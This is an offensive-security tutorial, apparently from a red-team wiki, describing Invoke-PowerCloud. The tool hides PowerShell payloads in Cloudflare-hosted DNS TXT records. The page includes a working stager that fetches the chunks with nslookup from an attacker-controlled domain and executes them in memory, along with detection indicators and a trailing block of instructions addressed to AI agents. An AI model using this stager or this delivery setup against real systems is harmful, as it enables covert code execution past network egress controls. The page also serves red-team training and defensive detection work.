# Powershell Payload Delivery via DNS using Invoke-PowerCloud

## Credits

Rushing to say that the tool [Invoke-PowerCloud](https://github.com/mantvydasb/powercloud/blob/master/Invoke-PowerCloud.ps1) was heavily inspired by and based on the awesome work that Dominic Chell ([@domchell](https://twitter.com/domchell)) from [MDSec](https://twitter.com/MDSecLabs) had done with [PowerDNS](https://github.com/mdsecactivebreach/PowerDNS) - go follow them and try out the [tool](https://www.mdsec.co.uk/2017/07/powershell-dns-delivery-with-powerdns/) if you have not done it yet.

Not only that, I want to thank Dominic for taking his time to answer some of my questions regarding the PowerDNS, the setup and helping me troubleshoot it as I was having "some" issues getting the payload delivered to the target from the PowerDNS server.

...which eventually led me to Invoke-PowerCloud, so read on.

## What is Invoke-PowerCloud?

[Invoke-PowerCloud](https://github.com/mantvydasb/powercloud/blob/master/Invoke-PowerCloud.ps1) is a script that allows you to deliver a powershell payload using DNS TXT records to a target in an environment that is egress limited to DNS only.

## How is Invoke-PowerCloud different from PowerDNS?

I assume you have read [PowerShell DNS Delivery with PowerDNS](https://www.mdsec.co.uk/2017/07/powershell-dns-delivery-with-powerdns/) which explains how PowerDNS works.

Invoke-PowerCloud works in a similar fashion, except for a couple of key differences, which may simplify the configuration process of your infrastructure to start delivering paylods via DNS. \
\
**With PowerDNS you need:**

* a dedicated linux box with a public IP where you can run PowerDNS, so it can act as a DNS server
* you also need multiple domain names to get the nameservers configured properly

**With Invoke-PowerCloud you need:**

* a cloudflare.com account
* a domain name whose DNS management is transferred to cloudflare

## Cloudflare? eh?

The way the tool works is by performing the following high level steps:

* Take the powershell payload file and base64 encode it
* Divide the payload into chunks of 255 bytes
* Create a DNS zone file with DNS TXT records representing each chunk of the payload data retrieved from the previous step
* Send the generated DNS zone file to cloudflare using their APIs
* Generate two stagers for use with authoritative NS/non-authoritative NS
* Stager can then be executed on the victim system. The stager will recover the base64 chunks from the DNS TXT records and rebuild the original payload
* Stager executes the payload in memory!

{% hint style="info" %}
If you run the tool again to deliver another payload, the previous DNS TXT records will be deleted
{% endhint %}

## Demo

### One off Configuration

Remember - you need a cloudflare.com account for this to work. Assuming you have that, you need to edit the Invoke-PowerCloud as follows:&#x20;

1. your cloudflare API key, defined in the variable `$Global:API_KEY`
2. your cloudflare email address, defined in the variable `$Global:EMAIL`

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOtY8taH5WTNBzPkvNP%2F-LOtZPzp1s2XelVa_iP5%2FScreenshot%20from%202018-10-15%2022-11-03.png?alt=media\&token=6cd23c9d-b921-4a81-b3bc-f1ae075e3956)

### DNS Management

Secondly, you need to move the domain name which you are going to use for payload delivery to cloudflare. In this demo, I will use a domain I own `redteam.me` which is now managed by cloudflare:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOtY8taH5WTNBzPkvNP%2F-LOt_GbcWRiPJeR2aC3T%2FScreenshot%20from%202018-10-15%2022-14-53.png?alt=media\&token=94f6b546-dca4-453c-a828-cbb5abb06ee1)

Let's confirm redteam.me DNS is managed by cloudflare by issuing:

```
host -t ns redteam.me
```

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOtY8taH5WTNBzPkvNP%2F-LOt_e1e-3RlV4V-iCf6%2FScreenshot%20from%202018-10-15%2022-16-20.png?alt=media\&token=37a0ef96-d6c5-4776-8261-591bf58a4ba3)

### Payload

Let's create a simple payload file - it will print a red message to the screen and open up a calc.exe:

{% code title="payload.txt" %}

```csharp
Write-host -foregroundcolor red "This is our first payload using Invoke-
PowerCloud. As usual, let's pop the calc.exe"; Start-process calc.exe
```

{% endcode %}

### Good to Go

We are now good to go - issue the below on your attacking system:

```csharp
PS C:\tools\powercloud> . .\powercloud.ps1; Invoke-PowerCloud -FilePath .\payload.txt -Domain redteam.me -Verbose
```

The script will generate two stagers. One of them is shown here:

{% code title="attacker\@victim" %}

```csharp
$b64=""; (1..1) | ForEach-Object { $b64+=(nslookup -q=txt "$_.redteam.me")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))
```

{% endcode %}

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOtiUinVpxOcsbm9-3l%2F-LOtiqe_mkkPs73QJs2s%2FScreenshot%20from%202018-10-15%2022-47-26.png?alt=media\&token=74542637-1e69-42fd-ab14-effc90d169eb)

Let's execute the stager on the victim system to get the payload delivered via DNS:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOtiUinVpxOcsbm9-3l%2F-LOtj04bJh3lnE9szBaY%2FScreenshot%20from%202018-10-15%2022-47-12.png?alt=media\&token=6e7d7af5-1c1b-4623-8618-f4a3b2ec73b5)

### Animated Demo

Everything in action can be seen in the below gif:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOt_uEsw4o26PMGOKck%2F-LOtglRjTv597hklO8L4%2Finvoke-powercloud-demo.gif?alt=media\&token=3596039a-97d2-464e-a016-a8bca9e17c7f)

## Is Invoke-PowerCloud better than PowerDNS?

No. It just works slightly differently, but achieves the same end goal. Also note, that Cloudflare API rate limiting applies.

## Detection

Let's deliver a PowerShell empire payload using DNS and see how the system reacts to this:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOyJgZtOsGBwoIRdjbW%2F-LOyPPPiK48hITH_0AcE%2Fempire-stager-via-dns.gif?alt=media\&token=e90b0f6c-69ff-416a-a104-d0a9955a50c6)

For those wondering about detection possibilities, the following is a list of signs (mix and match) that may qualify the host behaviour as `suspicious` and warrant a further investigation:

* host "suddenly" bursted "many" `DNS TXT` requests to one domain
* DNS queries follow the naming convention of 1, 2, 3, ..., N
* majority of DNS answers contain `TXT Lenght` of `255` (trivial to change/randomize)
* DNS answers are all `TTL = 120` (trivial to change/randomize)
* TXT data in DNS answer has no white spaces (easy to change)
* host suddenly/in a short span of time spawned "many" `nslookup` processes
* has the endpoint changed once the DNS lookups stopped? i.e new processes spawned?

Below is a snippet of the PCAP showing DNS traffic from the above demo - note the TXT Length and the data itself:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOyJgZtOsGBwoIRdjbW%2F-LOyOATFCkJBJORc4IIk%2FScreenshot%20from%202018-10-16%2020-12-57.png?alt=media\&token=85454ec8-9faa-4cac-8dd3-9baebd3db283)

Spike of `nslookup` for a host in a short amount of time:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOyJgZtOsGBwoIRdjbW%2F-LOyOCmaJK2Fb-auwHbR%2FScreenshot%20from%202018-10-16%2020-17-42.png?alt=media\&token=45e5074b-fa68-4490-9adf-c81621453b50)

Below is a sample PCAP for your inspection:

{% file src="<https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LOyJgZtOsGBwoIRdjbW%2F-LOyKABHsBOGmIV__7OO%2Fdns-packets.pcapng?alt=media&token=c63fc048-7bbe-40d1-b55d-6b7ad8240eeb>" %}
DNS Traffic Packet Trace
{% endfile %}

## Download

You can download or contribute to Invoke-PowerCloud here:

{% embed url="<https://github.com/mantvydasb/powercloud>" %}

## References

{% embed url="<https://github.com/mdsecactivebreach/PowerDNS>" %}

{% embed url="<https://www.mdsec.co.uk/2017/07/powershell-dns-delivery-with-powerdns/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ired.team/offensive-security/exfiltration/payload-delivery-via-dns-using-invoke-powercloud.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
